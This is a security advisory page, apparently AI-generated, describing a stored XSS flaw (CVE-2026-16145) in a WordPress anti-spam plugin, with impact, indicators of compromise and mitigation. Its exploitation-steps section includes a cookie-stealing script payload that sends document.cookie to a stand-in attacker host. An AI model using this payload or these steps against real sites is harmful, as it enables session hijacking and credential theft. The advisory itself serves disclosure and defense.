CVE-2026-16145
WordPress Análise e mitigação de vulnerabilidades

Visão geral

CVE-2026-16145 is a Stored Cross-Site Scripting (XSS) vulnerability in the "Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms" WordPress plugin, affecting all versions up to and including 5.1. The flaw allows unauthenticated attackers to inject arbitrary web scripts via the action parameter, which are then stored and executed when any user visits an affected page. It was published on August 15, 2026, with Wordfence credited as the assigner. The vulnerability carries a CVSS v3.1 base score of 7.2 (High) (Wordfence, ENISA EUVD).

Detalhes técnicos

The root cause is insufficient input sanitization and output escaping of the action parameter (CWE-79: Improper Neutralization of Input During Web Page Generation). The plugin maintains an explicit-actions list — auto-populated at activation for common form builders — and any unauthenticated admin-ajax.php request whose action value matches an entry in this list can write a stored payload without passing any authentication gate. Vulnerable code paths have been identified in class-message-page.php (line 621), class-stamp.php (lines 136 and 771), and the issue was resolved in changeset 3633500 (Wordfence, WordPress Trac).

Impacto

Successful exploitation allows unauthenticated attackers to persistently store malicious JavaScript in the WordPress database, which executes in the browsers of any user — including administrators — who visits an injected page. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection to malicious sites. The changed scope (S:C) in the CVSS vector reflects that the impact extends beyond the vulnerable component to the browsers of site visitors (Wordfence, ENISA EUVD).

Exploração

No active in-the-wild exploitation has been reported as of the publication date, and the NVD SSVC assessment lists exploitation as "none." The vulnerability is rated automatable ("yes") due to the lack of any authentication requirement, making it trivially scriptable at scale. The EPSS score is approximately 0.0027 (0.27%), indicating a low but non-negligible probability of exploitation in the near term. No CISA KEV catalog listing has been identified (Wordfence, ENISA EUVD).

Etapas de exploração

  1. Reconnaissance: Identify WordPress sites running the "Invisible Anti-Spam & CAPTCHA" plugin (slug: gdpr-compliant-recaptcha-for-all-forms) version ≤ 5.1 using tools like WPScan, Shodan, or by checking /wp-content/plugins/gdpr-compliant-recaptcha-for-all-forms/ for a readable readme.txt.
  2. Identify valid action values: Review the plugin's explicit-actions list, which is auto-populated at activation for common form builders (e.g., Contact Form 7, WPForms). These action names are predictable and documented in the plugin source.
  3. Craft malicious request: Construct an unauthenticated HTTP POST request to wp-admin/admin-ajax.php with an action parameter value matching a known entry in the plugin's explicit-actions list, embedding a JavaScript payload (e.g., action=<valid_action>&<param>=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Store the payload: Submit the request — no authentication or CSRF token is required. The plugin writes the unsanitized action value to the database.
  5. Trigger execution: Wait for a site user or administrator to visit a page that renders the stored payload. The injected script executes in the victim's browser, enabling session theft, credential harvesting, or further attacks (Wordfence, WordPress Trac).

Indicadores de compromisso

  • Network: Unusual unauthenticated HTTP POST requests to wp-admin/admin-ajax.php containing action parameter values matching known plugin action names, especially with HTML/script content in other parameters; outbound requests from victim browsers to unknown external domains shortly after page load.
  • Logs: Web server access logs showing repeated unauthenticated POST requests to admin-ajax.php with suspicious action values; WordPress debug logs recording unexpected database writes from the plugin's stamp or message-page classes.
  • File System / Database: Presence of <script> tags or encoded JavaScript payloads in the WordPress database within tables associated with the plugin's stored action data (inspect via wp_options or plugin-specific tables).
  • Process/Browser: Unexpected JavaScript execution or redirects reported by site visitors; browser developer tools showing script sources originating from stored plugin data rather than legitimate plugin files (Wordfence).

Mitigação e soluções alternativas

Site administrators should update the "Invisible Anti-Spam & CAPTCHA — reCAPTCHA Alternative for All Forms" plugin to a version beyond 5.1, as the fix was introduced in changeset 3633500. If immediate update is not possible, consider temporarily deactivating the plugin to eliminate the attack surface. Additionally, a Web Application Firewall (WAF) rule blocking unauthenticated POST requests to admin-ajax.php with script-like content in the action parameter can serve as a short-term mitigation (Wordfence, WordPress Trac).

Reações da comunidade

Wordfence included this vulnerability in their weekly WordPress vulnerability report for August 10–16, 2026, highlighting it as part of a broader set of plugin-level XSS issues discovered that week (Wordfence Blog). No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability aggregator listings.

Recursos adicionais


OrigemEste relatório foi gerado usando IA

Relacionado WordPress Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploração do CISA KEV

Tem correção

Data de publicação

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NãoSimAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NãoSimAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NãoSimAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NãoSimAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NãoSimAug 23, 2026

Avaliação de vulnerabilidade gratuita

Compare sua postura de segurança na nuvem

Avalie suas práticas de segurança na nuvem em 9 domínios de segurança para comparar seu nível de risco e identificar lacunas em suas defesas.

Solicitar avaliação

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades